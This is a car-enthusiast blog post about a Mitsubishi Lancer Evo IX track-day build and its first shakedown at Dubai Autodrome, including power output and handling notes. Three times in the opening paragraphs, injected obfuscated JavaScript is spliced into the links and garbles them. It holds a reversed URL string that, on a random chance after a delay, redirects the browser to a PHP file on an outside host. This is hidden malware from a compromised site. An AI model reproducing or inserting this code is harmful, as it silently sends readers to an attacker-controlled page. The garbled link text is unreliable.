Mitsubishi Evolution IX. Shakedown. Dubai Autodrome

Regular readers of crankandpiston will be familiar with the name Motaz Abu-Hijleh from Parc Fermé Workshop and the ongoing build of his (very orange) Mitsubishi Lancer Evo IX. Initially we caught up with Motaz almost a year ago and we knew the Evo IX was going to be something special. Being a bit lazy, we got him to write up a guest blog documenting $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mitsubishi-evo-ix-part-one-beginning-a-journey-guest-blog/” target=”_blank”>his plan for the Evo build…

…and then we got him to write another guest blog $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mitsubishi-evo-ix-part-two-new-life-guest-blog/” target=”_blank”>bringing us up to speed on the build. This was all good, however, Motaz is a busy guy. The setting up of new businesses, with customer cars taking priority, have already lengthened the time frame of his Evo IX build considerably. We also had the feeling that getting Motaz to write another guest blog was perhaps delaying the build further. So, we left him alone. For nearly a year.

Our cunning plan to free up some time for Motaz worked a treat. His newly found freedom from guest blogging activities meant that he could finally focus on the Evo and get it baked. When we caught up with him a couple of weeks ago, the good news was that the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/mitsubishi-evolution-ix/” target=”_blank”>Mitsubishi was nearly complete. The downside of all this meant that we had to do some work, take some photographs and write some wordage but we could not let Motaz get distracted again.

And so it came to pass that the Evo IX was ready for its shakedown at the Dubai Autodrome much sooner than we had anticipated. Motaz and the team were looking quietly confident. Everything that could have been done prior to shakedown had been completed to the exacting standards we have come to expect from Motaz. Until you get it out there on track, however, you never do know.

Putting out a not too shabby 465 hp at a lowly (relative) 1.4 Bar of boost for run-in purposes, the expression on the face of Motaz returning to the pit lane after the first run said it all. All systems were operating well within parameters and the performance had left a G-Force induced smile on his face. Handling was extremely neutral although the aero kit would need a bit of fine tuning to get the maximum benefit from the setup.

From behind the lens, the Evo looked ferociously fast, however Motaz feels that the Pirelli road tyres will need upgrading to cut-slicks to push the car properly. A successful first outing for the Evo IX with plenty more to follow. You don’t spend four years building your dream track day Evo to leave it sitting in your garage, even if it does look this good.

Thanks to Motaz Abu-Hijleh, Parc Fermé Workshop and Dubai Autodrome